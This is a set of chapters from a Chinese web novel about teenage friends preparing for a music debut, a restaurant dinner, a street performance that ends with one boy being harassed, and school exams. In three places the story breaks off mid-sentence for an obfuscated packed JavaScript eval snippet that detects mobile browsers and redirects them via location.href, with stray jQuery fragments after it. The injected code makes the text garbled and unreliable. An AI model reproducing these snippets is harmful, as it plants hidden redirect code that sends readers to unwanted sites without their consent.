好在导演能力超强,MV只拍了两天,素材交给团队去剪辑——至此,出道前的准备工作已经全部完成。 元旦只剩最后一天,他们也没了出去浪的精力,拍完MV回来,草草吃了顿晚饭,洗漱完就争分夺秒地躺在宿舍里睡大觉。 这些天徐如夜一直待在他们公司,跟他们同吃同住,期间苏虹来过几次给他送换洗的衣服,对他说狗疯狂拆家,把他那十几万的沙发挠成烂棉絮了都。 徐如夜眼不见心烦,更不想回家了,理直气壮地霸占陈颂的屋,陈颂睡邱以星的床已经睡习惯了。 上午,窗外有风声,屋里拉着厚厚的帘子,暗沉沉的。 暖气开得很足,陈颂睡得四仰八叉,发出小小的鼾声。 另一张床上的孔栩早已苏醒,他生物钟不允许他睡到日上三竿,邱以星仍旧在睡,他怕打扰邱以星,便睁着一双溜圆的眼睛,眨了眨,想心事。 元旦前一天的下午,班级群里举行联欢会,柴晓驰拍摄了很多照片和视频传到群相册,大家都笑得那么开心,气球和彩带到处都是,如果他还在学校,说不定会在闻旋的撺掇下表演个节目。 那么这相册里,也会有他了。 他此刻才惊觉,原来他是真的走上了另外一条路。请假没上学的那天,罗鸣玉给他发消息,担心地问他:你和邱以星怎么了?老班说你们请假,病了吗?我就说你俩总混一块,传染上了吧。作业我拍给你了,记得写啊。 孔栩扯了扯嘴角,回了句:我们没什么事,谢谢。 罗鸣玉:别这么客气,我们是朋友嘛。 “朋友”这两个字变成一股暖流,令他感到温暖。 孔栩刚认识罗鸣玉那会,没想过他们会变成好朋友。 认识的人仅仅是认识,不交心,不倾诉心事,分别后再不联系,是他的一贯做法。他那时候固执己见,认为交朋友是浪费时间,一个人活着就足够,直到邱以星死缠烂打要当他朋友,他才渐渐意识到交朋友也没有那么不好,他不是不需要,而是不知道有朋友的感觉是那样奇妙。 他不是一个人闷头朝前走,这条路即使漫长,可路上有人陪伴,他就不再感到害怕和孤独。 想到这,他又往邱以星怀里挤了挤,邱以星一只手搭在他胸口,很有磁性的低沉嗓音传进孔栩的耳膜:“醒了?” 孔栩一愣:“唔,我弄醒你了?” “别起,陪我睡会儿。”邱以星太累了,睡得迷迷糊糊,怀里都是孔栩的味道,他简直有些沉迷,不知道自己说了什么,低头抵在孔栩的胸口,越发紧地搂他,又深深吸了口属于孔栩的气息。 很淡的木香,混合着洗浴间沐浴露的花香,好闻极了。 孔栩被他弄得有些痒,他屏住呼吸,盯着邱以星半晌,试图从此人脸上看出什么端倪。 邱以星最近很喜欢搂他,睡觉的时候尤其喜欢,没开暖气那会他们互相取暖可以理解,开了暖气还抱这么紧,孔栩就有些喘不上气了。 算了,孔栩大度地想,谁叫你是我的朋友呢。 48. 第 48 章 下午无事,夏桃杉的父母亲自开车到公司门口接女儿回家。 叔叔阿姨都友善和气,与孔栩他们见了面,又说了些“感谢他们关照自己不爱说话的女儿”之类的话,还给他们送来几大箱零食和当季的新鲜水果,夏桃杉家里是果园承包户,家里水果多得吃不完,便宜了这帮大馋小子丫头们。 陈颂给夏桃杉拎着行李箱,一路送到她爸妈车上,又站在门口目送小轿车远去。 “咳,”陆笑蓉站在他身侧,忽然清了下嗓子,“人已经走了,还看着呐。” “跟你有什么关系。”陈颂瞅了她一眼,嫌弃她哪壶不开提哪壶似的,头一扭,潇洒地两手插兜,转身走了。 回屋见到孔栩和邱以星这俩一人拿着一小篮草莓,坐在中间的环形大沙发上,边看电视边吃草莓。 两位嘴唇都吃得红红的,陈颂没眼力见地硬挤进去,一屁股坐下:“让让,你们这日子过得也太舒坦了。” 他非跟孔栩抢他篮子里的草莓,孔栩不乐意,把篮子举得高高的,陈颂哄他说:“别这么小气,晚上哥哥带你去吃大餐。” 孔栩半信半疑:“真的?” “哥哥什么时候骗过你。”陈颂趁孔栩思索之际,抓过一大把草莓,吃得腮帮子鼓鼓囊囊,像只准备过冬的松鼠,“再来一颗,想去哪个大饭店都带你去。” “那我要去人均五千的陈年饭庄,”孔栩狮子大开口,“我要吃贵宾席的佛跳墙,黑松露大龙虾。” 陈颂犹豫:“呃,这俩有什么好吃的,就图个名气,味道其实一般。” 孔栩想拿篮子砸他:“你吃过么就吹。” 邱以星见他俩没个正型闹来闹去,默默盯了半晌。 他注意到陈颂格外喜欢逗孔栩,平时没事就爱来招惹一下子,逗到人两眼喷火炸毛再乐滋滋地溜走,等孔栩心情好了,又摸过来说两句话,直到把人又惹毛,追着他打才罢休。 电视剧播到最新一集,孔栩和陆笑蓉意犹未尽地看完。 陆笑蓉拿起手机,登录自己新注册的小号,艾特电视剧官方让他们播快点,顺便留言男一号演技太差,干一行毁一行,不如回老家喂猪。 又被池丰粉丝围攻八百条,陆笑蓉慌不择路火速下线,心有余悸地拍拍胸口:“我实话实说而已,小木鱼,你看,这帮脑残粉实在是太可怕了。” 孔栩便说:“知道他们战斗力强,还非要跟他们争,不发不行吗?” “那可不行,”陆笑蓉说,“他演技这么差还来演戏,岂不是阻挡了一个好演员的路?你不说我不说,以后就只能看这些人演的电视剧了,那还得了。” “你说得对,”孔栩说着就拿出手机,“我也去骂几条。” “差不多得了,你操哪门子的闲心。”邱以星把孔栩手机从他手心抽走,“这是粉丝向的作品,就是拍给他粉丝看的,人粉丝看了高兴,电视台看了收视率高兴,投资方赚钱了高兴,你不高兴有用吗?再说了,你看了不也挺高兴,你喜欢男二号,男一号不演得烂,怎么衬托男二号的好来?对了,男二号收获了新粉丝还高兴着呢。” 邱以星绕口令似的一通输出,孔栩默默地点头,觉得他的话也很有道理,陆笑蓉不满地皱眉:“小木鱼,你怎么一点立场都没有,风往哪吹往哪倒,就是一根墙头草!” 孔栩往邱以星身后躲,他笑嘻嘻地说:“不不不不,我不是墙头草,我是小木鱼,只会咚咚咚地响。” “那我来敲敲试试,看响不响。”陆笑蓉站起身,两手交叉活动得咯吱咯吱作响,作势要来敲他的脑袋。 孔栩大叫一声,慌忙拽邱以星衣服,让他当盾牌抵挡陆笑蓉的攻击,好在邱以星十分配合,双臂钳子似的张开,充当孔栩牢固的堡垒,陆笑蓉别无他法只好挠邱以星痒痒,邱以星一时不慎,被陆笑蓉伸来一只爪子,差点勾到孔栩的毛衣。 孔栩紧张得上蹿下跳,揪紧邱以星的衣服:“邱以星,快拦住她!” 陈颂在一旁津津有味地欣赏:“还玩起老鹰捉小鸡来了,你们真有童心。” 最后邱以星以身高优势占据上风,反剪住陆笑蓉的两只胳膊,陆笑蓉玩出了一身汗,笑着骂道:“我算是看明白了,你们俩就是一伙的!” 最后是徐如夜的出现终结了他们的嬉闹。 徐如夜换了件苏虹带来的长款黑色大衣,长身玉立,风度翩翩,戴上一副黑框眼镜,显得斯文极了,然后拿出一只口罩戴上,像是要出门。 陆笑蓉看呆了:“徐老师,您要去哪儿?” 徐如夜一偏头:“好不容易放假休息,难不成赖公司一整天?带你们出去吃饭,透透气,给你们十分钟收拾。” 众人火速收拾好,徐如夜跟项汝怡打了个招呼,便带这几人出了门。 他们的歌录制完毕,混音和母带都是公司自己做,不用他再去操心。 徐如夜兑现了自己的诺言,给他们写歌,甚至是亲自当他们老师,徐如夜如此尽心尽力,除了看在陈闵的面子上,还因为看见这帮人,他会想起自己一无所有的十几岁。 如今他眼见着好像什么都有了,可似乎最珍贵的东西永远被埋在了更年轻的岁月里。 跟这些年轻人在一起,让他仿佛年轻了十岁,陆笑蓉感受到了徐如夜的好心情,试探性地问他:“徐老师,吃饭的地方我们可以选吗?” 徐如夜:“可以啊,你们想去哪?” 陆笑蓉和孔栩交换了一个心照不宣的眼神:“那您能不能带我们去陈年饭庄长点儿见识?” “当然可以,”徐如夜眯眼笑着,看了陈颂一眼,“你们大可以敞开了吃。” “徐老师,您真大方。”陆笑蓉和孔栩小小地击了下掌。 他们不知道陈年饭庄是需要提前预约才有好位置的,不过徐如夜这种超级VIP不需要提前预约,大堂经理像是认出了徐如夜,极为殷勤地快步走来,笑容堆了满脸,刚要说话,陈颂打断他说:“那什么,包厢还有吗?” “有的,”经理态度好得犹如见了亲人,微笑说,“这边请。” 孔栩心里感慨,果然是有钱能使鬼推磨,这么好的服务态度他还是头一回见。 陈颂低着头,两手揣进上衣兜里,默然不语地跟在一行人最后。 经理把他们带到一间宽敞的包厢,等人都进去后,陈颂脚步一顿,轻轻拉住经理的衣角,悄声说:“王叔,等会儿这桌帮我免个单。” 王经理笑着点头:“知道。” 陈颂想了想,又说:“佛跳墙直接上一锅,大龙虾挑最大的,我朋友爱吃。” 王经理维持着一成不变的笑容:“都好说,保证让您和朋友都吃好吃饱。” “谢谢。” 陈颂若无其事地走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17086436|194219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进包厢,坐在孔栩身侧,他对孔栩说:“菜单呢,还不快点你的佛跳墙和大龙虾。” “你懂不懂事,”孔栩恭恭敬敬地把菜单递到徐如夜面前,“徐老师请客,当然是徐老师先点。” 陈颂:“……” 徐如夜见陈颂一脸黑线,笑了两声,把菜单推回去,让他们点自己喜欢的。 孔栩还想跟他客套一下,陆笑蓉毫不客气地接过,嘿嘿一笑:“那我就不客气了。” 陆笑蓉为夏桃杉失去一顿大餐而倍感遗憾,菜单从头看到尾,她和孔栩瞠目结舌,被后面的价格惊得一愣一愣的,最后也没敢点佛跳墙——她怕徐如夜这餐之后跟他们断绝往来。 上菜的时候,服务员却端来一大锅鲜香扑鼻的佛跳墙,孔栩忙叫住服务员:“等等,你们送错了。” “没有,”服务员露出八颗牙的标准微笑,“这是送的。” 还有此等好事! 孔栩惊了,不愧是大饭店,这么豪爽! 陆笑蓉等服务员走了,不敢置信,跟孔栩小声蛐蛐:“不会是预制品吧?这一锅得多少钱啊。” 陈颂一拍桌:“什么预制品,饭庄没有预制品,这一锅也是熬了好几天的,吃都堵不上你的嘴。” 陆笑蓉:“你激动什么,你家开的啊?” 陈颂:“……” 邱以星看了他一眼,陈颂几次三番想张口,但最后选择闭嘴,忿忿地啃起大龙虾。 这顿吃的是热汗淋漓,所有人都很满意,虽然佛跳墙的口感不是孔栩喜欢的,但至少知道了顶级饭店里顶级食材的味道,十分心满意足,捧着肚子等徐如夜去结账。 徐如夜被告知已经结过账,不出他意料,他又跟服务员说,打包几个店里最火的小甜品,这次他付钱。 众人提着小甜品出了饭庄大门,一边吃,一边走,一边消食。 路上没有多少行人,天色暗了下来,徐如夜光明正大地走在大马路上,黑色的树影摇晃着,一行人走到路口,看见前边有个很大的广场。 广场中央有人自发组织了活动,他们远远就听到了歌声,陆笑蓉指着前面说:“小木鱼,我们过去看看。” 孔栩看了徐如夜一眼:“徐老师,您戴条围巾,把脸遮一遮,被认出来就不好了。” 徐如夜依言照做,他很久没出现在公众面前,天色又黑,不一定能注意到他,但他还是谨慎地戴上口罩和围巾,不仔细打量,不会有人认出他。 广场是几个俊男美女在劲爆的音乐中跳着热舞,场子热好后,有一支小乐队上了临时搭建的简陋舞台表演,几首下来,现场的气氛越发火热。 孔栩他们几人在角落跟着一块唱,孔栩把手揣进邱以星上衣的口袋取暖,靠着他笑吟吟地说:“他们唱得都没你好听。” 在孔栩看来,比邱以星唱歌好听的人屈指可数,现在的徐如夜算一个,等邱以星长大,或许能比徐如夜还厉害,他真心这么认为,却忽略旁边有其他的陌生人。 等音乐停下来,旁边这位疑似是主持人的中年男子,不知从哪儿变出一只话筒,站上舞台略一欠身,中气十足地对观众们说:“听说这里有人唱得更好,让我们请他上台来表演,好不好?” 他话音一落,周围的目光仿佛探照灯一般落在他们这行人身上,徐如夜不由得裹紧衣领,垂下头,装作跟他们不认识。 49. 第 49 章 周围都是凑热闹的起哄声,赶鸭子上架也不过如此。 孔栩有些窘迫,陆笑蓉见状,把心冲他们喊:“唱就唱,你们把耳朵竖起来,仔细听好了!” 又对邱以星说:“你尽管上去,我们在后面给你伴奏,你想唱哪首歌?” 邱以星余光瞥了一眼站在角落的徐如夜,提议说:“要不就《有穷》?” 徐如夜又默默往后退了一步。 台下的人切了一声:“你唱那首?哈哈,那首歌难唱着呢,年纪轻轻的,口气真是不小啊。” 邱以星说:“试试吧。” 陈颂率先跳上舞台,他转身伸手拉了一把陆笑蓉,陆笑蓉从主持人手里抢过话筒:“借你们的乐器用用,摇滚版的《有穷》,请大家欣赏。” 陆笑蓉当了好几年主播,知道怎么调动现场的氛围,她属于那种“见人说人话,见鬼说鬼话”的类型,看上去大大咧咧,其实精明得不行,从来不怯场,做任何事都大大方方的,也总能获得人的亲近和好感。 徐如夜教他们唱歌的那段时间,除了让他们默谱子之外,也教他们唱了很多歌,其中就有徐如夜自己的。 他们拿着吉他和贝斯故意在教室里发泄、嘶吼、搞怪,徐如夜并不介意,反倒觉得有趣,说不收他们版权费,他们爱怎么折腾怎么折腾。 因为陆笑蓉的摇滚梦,他们后来在音乐教室排练过一次摇滚版的《有穷》。这个版本是徐如夜后来编的,没有原版那么家喻户晓,加之徐如夜很少露面,没做过什么宣传,以至于大家还是更喜欢听原版。 邱以星站在话筒前,夜晚的风拂过他的额发,露出一张英挺端正的面容。 眼前是黑压压望不见头的人群,他想,大晚上的出来吹冷风,果然是一生都爱凑热闹的中国人。 孔栩抱着一把电吉他,陆笑蓉打鼓,陈颂选了贝斯,少了夏桃杉的键盘,邱以星就负责键盘的和弦。 本来没什么,又不是第一次表演,可一想到徐如夜在下面看他们,孔栩便不由自主地头皮一紧,那种考试的感觉又来了。 陆笑蓉为了帅,有朝一日能站在舞台上打鼓,经常在音乐教室里练习,如今已经练得很像模像样,她的鼓声由弱渐强,孔栩的主音吉他继而响起,陈颂的贝斯紧随其后,二十多秒的前奏,他们在舞台上炫技一般表演着,直至邱以星唱第一句。 台下本来闹哄哄的,都不把他们看在眼里,这帮小孩看上去还是高中生,正是中二的时候,主持人叫他们上台,并不是抱着真的要看他们表演的想法,而是想给这夜晚增添一丝笑料,给寒风中瑟瑟发抖的众人带来一丝乐趣。 这帮小孩初生牛不怕虎,拿到乐器就演奏,看起来确实挺像那么回事。 音乐声响起来的时候,旁边的小乐队成员们讶然地张大了嘴巴。 风忽然大起来,台上几人的衣摆翻飞,邱以星单手握紧话筒,高声唱着歌,比原版更加血脉偾张,原版是愤怒和无奈,是走投无路背水一战,摇滚版则是控诉与呐喊,是心里燃烧着无法扑灭的火焰。 现场的气氛一下就被点燃了,这哪是一月份的天气,好在是露天舞台,不然欢呼声都要把屋顶掀翻。 伴随着此起彼伏的尖叫声,无数人开始录他们的表演,孔栩抬头看了一眼台下,徐如夜已经不在原来的位置了。 他的黑大衣几乎与远处的黑暗融为一体,只留给他们一个落拓料峭的背影。 徐如夜给陈颂发了条信息:就陪你们到这,自己打车回公司,剩下的路自己走吧。 表演结束,主持人还想让他们再唱几首,陆笑蓉气喘吁吁地接过话筒说:“我们可不白唱的,再唱就收费了哦大叔。” 主持人被喊“大叔”,欲哭无泪,只当自己没说,伸出一只手,微笑着请他们下台。 孔栩跟在他们身后,走了几步发现鞋带散了,蹲下身系鞋带。 结果起身时,冷不防有一人抓住了他的右手腕,他微微一怔,看过去,是个二十多岁的陌生男人。 男人找他要微信号,说很想跟他认识一下。 孔栩觉得这人有点不礼貌,心情顿时不太美丽,对陌生人他一向是敬而远之的态度,他冷淡地说:“不加,没有微信。” “怎么可能,这年头还有人没微信?装什么呀。”这人仍旧不松手,抓得孔栩感到疼了,还热切地追问,“你是学生?哪个学校的?” 孔栩挣了挣,没挣开,怒道:“关你什么事,松开我!” 走在前头的邱以星听见孔栩的声音,猛地回过头,见他被堵在人群中,面红耳赤地跟人争论着什么,抬脚就冲了过去。 邱以星一脚将骚扰孔栩的男人踹到在地,孔栩得到喘息,忙揉起发红发痛的手腕。 如今手腕之于他犹如脚后跟之于阿克琉斯,被人抓住不敢用力拉扯,生怕旧伤添新伤,废了就完蛋了。 “你怎么样?”邱以星轻轻握住他的手腕,关切问道,“疼不疼?” 孔栩晃了晃手腕,感觉没有什么大碍,可他仍旧惊魂未定,双眼失神地望着邱以星,没能及时回答他的问题。 邱以星见他这副模样,手轻轻拍着他的后背,安慰说:“没事了,没事了,我们走。” 可被邱以星踹倒在地的男人不依不饶,大喊囔囔说要报警,自己被人打了,现在身体很不舒服。 他这么一喊,聚在周围看热闹的人比看表演的还要多,不明真相的看客们对着他们指指点点。 陈颂和陆笑蓉闻声赶过来,陈颂虽不爱管闲事,可他十分护短,当即拎着这人衣领,把他从地上揪起来,恶狠狠地警告说:“你要报警?好啊,马上去,你骚扰我朋友在先,碰伤他手腕在后,这件事警察要是解决不了,就让我律师来跟你谈!” 这男人也就是嘴上威胁几句,并不是真的想去警局,见陈颂压根不怕,自己先有了三分惧意,眼睛一转,推开陈颂的手臂:“算了!我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091091|194219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不跟你们计较!” 陆笑蓉捡起路边一个空矿泉水瓶朝他砸去:“他大爷的!跑那么快赶着投胎啊,别让我们再撞见你!” 陈颂带着这几人匆匆离开这里,他们在路边打了辆车,孔栩与邱以星、陆笑蓉坐在后座。 孔栩看上去有些心神不宁,反复地摩挲着手腕,用力搓上面的皮肤,像是在擦什么有毒的病菌。 邱以星伸手去握他的手,试图缓解他的不安,可孔栩的手指突然间从邱以星的掌心抽走,孔栩转过脸朝他淡淡笑了一下:“我真没事。” 可邱以星看出来孔栩笑得极为勉强、生硬,他分明是刻意避开邱以星。 邱以星的心重重往下一沉。 车上几人一时无话,回了公司后,孔栩提出要先洗澡,随后便拿了衣服走进浴室。 陆笑蓉见他这一副失魂落魄的样子,心里也不太好受,她低声对陈颂说:“小木鱼长得就一副好欺负的模样,下次不要让他走最后了。” 随后她又补充说:“他就是顾忌周围人太多,换做是我,直接一脚把那个男人的蛋给踢爆。” 陈颂哆嗦了一下:“……” 邱以星回到他们房间,徐如夜一走,陈颂终于回到被徐如夜霸占的屋子,这间屋子又只有他们两个人了。 他把自己的床铺好,坐在床上等孔栩洗澡。 过了好半天孔栩才出来,他穿着一双拖鞋,换好了睡衣,头发湿淋淋地滴着水,水渗到衣领,洇出很大一圈深色的水渍。 “擦擦。”邱以星把一条干毛巾递给他。 孔栩神思不属地接过,随意擦了擦,邱以星看不过去,把他按到床上坐下,亲自给他擦头发。 “在想什么?”邱以星问。 孔栩闭着眼享受邱以星的擦头服务,脑子乱糟糟的,一时间不知道怎么开口,为了减少麻烦,他说:“没什么。” 邱以星知道,孔栩没说实话,回来之后孔栩一直都处于有些应激的状态里,邱以星很担心,将他头发擦得半干,然后在他面前蹲下,轻声问:“小木鱼,到底怎么了?你有什么想法直接说,没关系的。” 孔栩垂头看他,经过一番激烈的思想搏斗,过了好几分钟,终于开口了:“我觉得好恶心。” “他摸我的手,让我觉得好想吐。”孔栩也不知道为什么,突如其来的反胃,或许是男人过于轻佻的语气,别有用心的眼神,他的大拇指带着很强烈的暗示意味,抚摸他手腕内侧敏感的皮肤,这一切都令孔栩无法忍受。 不知想到什么,孔栩紧紧抿住了嘴唇。 他的面色看上去有些许苍白,发丝在灯光的辉映下乌黑发亮,一颗晶莹的小小水珠从他耳边发丝垂落,邱以星伸手去接,可孔栩下意识往后一仰,侧过邱以星的手指。 孔栩眼睫忽闪,突然间站起身,丢下一句:“我去吹个头发。” 邱以星的手指尖冰凉一片,像在雪堆里泡过,微微地颤抖起来。 50. 第 50 章 元旦假期结束后,他们的集训也相应结束,声乐课换成每周一次,不过不是徐如夜来教。 他们又重新回到校园,下课的时候齐大彬跑来他们座位旁边,忍不住说道:“你俩什么情况?病得也太及时了,我真是服了老柴了,放假前布置了十张小卷子,我昨晚赶到大半夜,写到头皮发麻,脑子感觉都不是自己的了。” “谁让你屎到了□□才去拉,”罗鸣玉说,“你不是活该么。” 齐大彬瞳孔一震:“姐姐,虽然话糙理不糙,可您这话也太糙了。” “谁是你的姐,”罗鸣玉淡淡瞥了他一眼,“老柴让你找几个人去把走廊外面扫一扫,你还不快去。” 齐大彬:“得令,马上去。” 孔栩回到了熟悉的地方,状态也不像昨晚那么萎靡,大家见他们回来,纷纷凑上来对他们嘘寒问暖。 闻旋回头问他和邱以星这几天上哪儿去了,孔栩露出一个神秘的笑容:“秘密。” 罗鸣玉:“问老柴老柴也不说,我严重怀疑你俩是不是报了个旅游团玩去了。” 一直没做声的邱以星也回过头,看了孔栩一眼:“要是真出去玩就好了。” 一月份一到,期末考试也迫在眉睫。 期末是一场硬战,副课全被主课老师给占了,每天每门课至少两套试卷,课程已经结束,白天到学校就是讲习题,孔栩游刃有余,邱以星显得颇为吃力,成绩始终处于班级中游的水平。 期间柴晓驰找他们谈过一次话。 柴晓驰并不是古板不知变通的老师,世上人的活法多种多样,出路早已不止一条,可他还是莫名地担忧,并告诫他们做任何事都要踏踏实实的,如果真的认定了自己的选择,就要坚持下去,不要活成一个高不成低不就的半吊子。 孔栩明白柴晓驰是为他们好,重重点头:“我知道的,老师。” 柴晓驰拈起杯盖,喝了口枸杞茶,又对邱以星说:“不要以为你马上要出道了,我就会对你松懈,只要你一天在学校,就一天归我管,听到了没有?” 邱以星笑笑:“听到了,一日为师终生为师,谢谢您。” 柴晓驰这才朝这俩摆摆手:“走吧,顺带把这沓试卷抱走。” 期末考试这艘巨轮浩浩荡荡地从每个人身上碾压过去,所有人都面黄肌瘦生不如死。 终于考完最后一门,孔栩和邱以星一并交了试卷,走出考场。 这几天孔栩一直在琴房帮邱以星复习,押中了好几道大题,邱以星自我感觉还不错。 考完后闻旋私发孔栩和邱以星问他们要不要出来聚个餐,庆祝一下即将到来的寒假。 孔栩:“可比寒假更早来的是令人寒心的期末成绩单。” 闻旋:“烦人,别哪壶不开提哪壶。” “宇宙无敌青春少男少女”群里的其他人也考完了。 陆笑蓉拍了张行李箱的照片:终于能离开学校的破宿舍了,一回来就感冒,真是倒霉到家。 夏桃杉关切地问:你怎么现在才说,感冒好了吗? 陆笑蓉得意:早好了,我马上去找你,票我都提前买好啦。 一直潜水的陈颂:等等,你要去哪? 陆笑蓉发了个咧嘴大笑的表情:你猜。 陈颂急死了:去哪儿啊,你们两个女生在外面不安全,也把我带上呗,我帮你们拎行李。 夏桃杉给他截了张景区门票的图:我和蓉蓉商量去爬山。 陈颂:我真服了,这么冷的天去爬山,不能玩点儿室内项目? 陆笑蓉:别啰嗦,你去不去,去就赶紧买票,不去就闭上你的嘴。 陈颂在群里艾特孔栩和邱以星,问他们去不去,孔栩和邱以星下周还要回学校,时间上错不开,陈颂深表遗憾,然后愉快地买票收拾行李,去找她们一块爬山。 孔栩还挺羡慕的,长这么大他都没有单独跟朋友出去旅行过,小群里每天都很热闹,大多是陆笑蓉在讲话,她签了独家协议之后不能直播唠嗑,多出来的废话全扔群里了。 邱以星看出他的失落,便说:“等正式放寒假了,我们可以去找他们玩。” 这段时间的孔栩又恢复成了平时的模样,跟邱以星的相处跟之前也没什么不同,他点点头:“那我们可不要爬山了,爬一天躺一周。” 邱以星笑笑:“到时候再说吧。” 晚上两人去了闻旋组织的聚餐活动,在学校附近的一个小饭馆里。 大家都是穷学生,手心朝上找爸妈要钱,花钱自然不敢大手大脚,这几个人也就邱以星稍微富裕一点。 丁尧的火锅店赚到钱后,陆陆续续将之前邱以星借给他的钱还了,邱以星钱没地方花,于是说:“这顿我请,你们随便点。” 孔栩看了他一眼,刚要说什么,齐大彬嚎了一嗓子,热泪盈眶:“邱以星,你就是我亲哥!” 然后扭头对老板喊道:“老板,来一条你们店里最大的烤鱼!” 色香味俱全的菜满满当当铺了一桌,路边小饭店虽然不比陈年饭庄,可这一桌也得花不少。 孔栩坐在邱以星旁边,不轻不重踹了他一脚,低声说:“你是钱多烧得慌是不是?” “今天高兴嘛,”邱以星说,“庆祝我们迎来一个小小的解放。” 孔栩环顾四周一圈,都是班里跟他玩得不错的同学,小包厢里其乐融融,齐大彬吸取了上次的教训,只点饮料,没有点任何带酒精的饮品。 有人畅想寒假去什么地方玩,有人哭丧着说自己这次考得不好,肯定要在补习班苦逼兮兮地度过高中第一个寒假,又说羡慕成绩好又会玩的人……话题就这样转到孔栩身上,闻旋问他:“小木鱼,你寒假有什么安排?该不会是一天到晚弹琴吧。” 孔栩实话实说:“还没计划好,你呢?” 闻旋眼角抽动,突然悲愤起来:“我?我应该是最惨的,我爸妈计划去三亚,只订了双人票,让我一个人在家看家!” 罗鸣玉幸灾乐祸嘿嘿笑了两声,胳膊被闻旋使劲拧了几下,她又跟闻旋讨论起最近看的一部电影,两人热火朝天聊得天地不知为何物。 大家有着各自小小的烦恼和快乐,孔栩身在其中有些熏熏然,散场时竟然有些舍不得,如果回家,就得面对冷冰冰的屋子和冷冰冰的何斯清,于是他提议:“时间还早,我们玩个游戏怎么样?” 当然无人拒绝,他们让服务员将桌上的菜盘收拾了一下,清理出一片空地,开始玩真心话大冒险。 大家觉得语言类的游戏不刺激,又没人带牌过来玩,思来想去还是真心话大冒险有意思。 闻旋说:“这瓶可乐指到谁,谁就真心话大冒险,这人顺时针的后一位同学提问题或者任务。都温和点儿啊,大家自己人,以后还要见面的,尤其是你罗鸣玉,还笑!” 罗鸣玉拍了拍手,迫不及待地说:“开始开始。” 桌子中间的那瓶可乐泛着气泡滚动起来,众人紧张地盯着,然后瓶盖缓缓地停在了齐大彬面前。 齐大彬:“……行,我选真心话。” 罗鸣玉摩拳擦掌:“在场的各位,不论性别,找一个谈恋爱的话你选谁?” 齐大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17098889|194219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 彬气急:“说好的温和点的呢!” 罗鸣玉:“那你初恋——” 齐大彬:“打住,就这个。我选……” 他犹豫了几秒钟,在众人脸上扫过一圈,然后说:“如果不论性别,我会找孔栩,拥有完美的艺术细胞和聪明的大脑,完全我女神那一挂的,可惜他不是女孩子。” 孔栩拿纸杯砸他,脸上一阵青一阵白:“滚你的。” 齐大彬继续转动可乐瓶,可乐瓶绕了一圈,缓缓地指向闻旋,闻旋略带惧色看了眼孔栩:“拜托,我……我选大冒险。” 孔栩一愣:“呃,班长就讲个冷笑话吧。” 罗鸣玉不满:“你这水放到太平洋了!” 闻旋松了口气,讲了个一点儿也不好笑的冷笑话火速结束战斗。 她大力一转,可乐瓶随之飞速旋转起来,然后慢悠悠地停在了邱以星面前。 邱以星左侧是个女孩,他们班语文课代表,课代表大大方方地问:“你选什么?” “真心话。” 课代表问:“你最喜欢的一首歌是?” 邱以星显得有些为难,课代表纳闷:“不能说?” “目前不能说,”邱以星现在最喜欢的歌是收录进新专辑里他和孔栩一起写的那首,后来经过徐如夜的指导重新编了曲,“以后你们会知道的。” 他这么一说,孔栩自然明白过来,他眉毛轻轻一挑,和邱以星交换了一个心照不宣的笑容。 罗鸣玉“哼”了一声:“这么简单的问题都回答不了,这可不行哦。” 邱以星:“那我换大冒险。” 罗鸣玉满意了:“课代表,别放水了啊,想个难的。” 课代表咬了咬下唇,思索道:“要不这样,打开手机相册,给我们看你最近拍的一张照片。” 邱以星叹气:“我接受惩罚。” 罗鸣玉惊叫:“你到底拍了什么,有什么不能看的?” 照片拍的是在宿舍,孔栩靠在他怀里安安静静睡着的模样。 且不说他不愿意把孔栩这种毫无保留的样子给别人看,万一被人看见也肯定会引起轩然大波,他无法解释自己为什么鬼迷心窍拍了那张照。 这肯定超过在场所有人能够想象的上限,孔栩也必定会尴尬,他宁愿被惩罚。 “邱以星,你还是不是男人,”罗鸣玉说,“这个不行,那个也不行,真没意思。” 邱以星无奈说:“那你说怎么办?” 罗鸣玉眼珠一转,忽然问:“就回答我刚刚的那个问题好了,在场的这些人,不论性别,如果你想找一个谈恋爱,你会选择谁?” 邱以星不想说,可为了早点结束折磨,他看了闻旋一眼,闻旋会意地眨眨眼,于是他说:“我选闻旋,我喜欢长头发的。” 在座的确实只有闻旋扎着一头靓丽的长发,罗鸣玉和课代表都是齐肩短发,男生就更不必说,罗鸣玉很没趣地耸耸肩膀:“行,饶你一轮。” 又玩了一会儿,大家终于觉得有些累了,于是结束游戏,把随身携带的东西收一收,离开了饭馆。 众人在门口分别,孔栩和邱以星照例去车站等公交车,走到半路,孔栩忽然莫名其妙来了一句:“只要是长头发的都可以吗?” 